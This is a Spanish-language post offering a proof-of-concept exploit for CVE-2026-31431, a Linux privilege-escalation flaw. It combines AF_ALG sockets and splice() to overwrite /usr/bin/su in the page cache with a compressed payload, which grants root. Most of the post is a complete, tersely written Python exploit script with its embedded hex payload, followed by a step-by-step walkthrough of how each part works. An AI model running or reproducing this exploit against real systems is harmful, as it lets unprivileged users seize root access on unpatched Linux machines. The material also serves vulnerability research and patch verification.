
Exploit PoC para CVE-2026-31431 que utiliza AF_ALG y splice() para sobrescribir la caché de páginas de Linux y parchear /usr/bin/su en memoria, escalando privilegios de usuarios no privilegiados a root.
En lugar de que el sistema obtenga archivos directamente del lento disco físico —lo que desperdicia mucho tiempo— el sistema Linux crea una copia temporal del archivo dentro de la RAM, conocida como Page Cache. Esto permite que el sistema ejecute y lea el archivo casi instantáneamente, dentro de la RAM por completo.
Este proceso depende de dos funciones clave:
AF_ALG: Responsable de manejar las operaciones criptográficas/de cifrado de archivos y datos dentro del kernel.
splice(): Responsable de mover datos directamente de una ubicación de memoria a otra a velocidades extremadamente altas (Zero-Copy).
El exploit manipula estas dos funciones. Cuando el sistema intenta procesar y ejecutar el archivo en memoria, se encuentra con código de payload inyectado. Debido a que el propio Kernel de Linux gestiona la memoria, nunca sospecha que se haya producido una falla lógica o una modificación ilegal.
En resumen: La vulnerabilidad altera la memoria para evadir el cifrado/las comprobaciones del archivo objetivo. Luego sobrescribe instrucciones específicas de 4 bytes dentro de la memoria para que cualquier usuario sin privilegios obtenga instantáneamente acceso Root —con toda la operación ejecutada directamente por el Kernel.
Python
#!/usr/bin/env python3
import os as g, zlib, socket as s
def d(x): return bytes.fromhex(x)
def c(f, t, c):
a = s.socket(38, 5, 0)
a.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
h = 279
v = a.setsockopt
v(h, 1, d('0800010000000010' + '0' * 64))
v(h, 5, None, 4)
u, _ = a.accept()
o = t + 4
i = d('00')
u.sendmsg([b"A" * 4 + c], [(h, 3, i * 4), (h, 2, b'\x10' + i * 19), (h, 4, b'\x08' + i * 3)], 32768)
r, w = g.pipe()
n = g.splice
n(f, w, o, offset_src=0)
n(r, u.fileno(), o)
try: u.recv(8 + t)
except: 0
f = g.open("/usr/bin/su", 0)
i = 0
e = zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))
while i < len(e):
c(f, i, e[i:i+4])
i += 4
g.system("su")
e = zlib.decompress(d("78daab77..."))
Esta línea extrae el payload hexadecimal comprimido. Puedes pensar en este payload como el vector de inyección diseñado para otorgar privilegios Root. Convierte los datos hexadecimales en bytes sin procesar para que puedan escribirse en la RAM y así evadir la autenticación por contraseña.
a = s.socket(38, 5, 0) , n(f, w, o) , n(r, u.fileno(), o)
El script abre un identificador de solo lectura al binario /usr/bin/su (el ejecutable responsable del cambio de privilegios de usuario). Configura un socket AF_ALG (ID de AF_ALG = 38) y utiliza la llamada al sistema splice() para transmitir las páginas de memoria de /usr/bin/su directamente al motor criptográfico del kernel.
Sobrescritura de Memoria del Kernel:
Debido a la falla en el módulo criptográfico del kernel (algif_aead), el Kernel es engañado durante la operación. En lugar de escribir la salida procesada en un búfer temporal normal, escribe el payload directamente sobre la página del binario /usr/bin/su almacenada en RAM (Page Cache).
while i < len(e): c(f, i, e[i:i+4]); i += 4 & g.system("su")
El script ejecuta un bucle que escribe el payload de 4 en 4 bytes en offsets de memoria consecutivos. Una vez que el bucle termina de parchear la instrucción en la RAM, ejecuta su. Dado que el Kernel ahora ejecuta el código modificado en memoria, las comprobaciones de contraseña se omiten, otorgando acceso Root a cualquiera que ejecute el comando.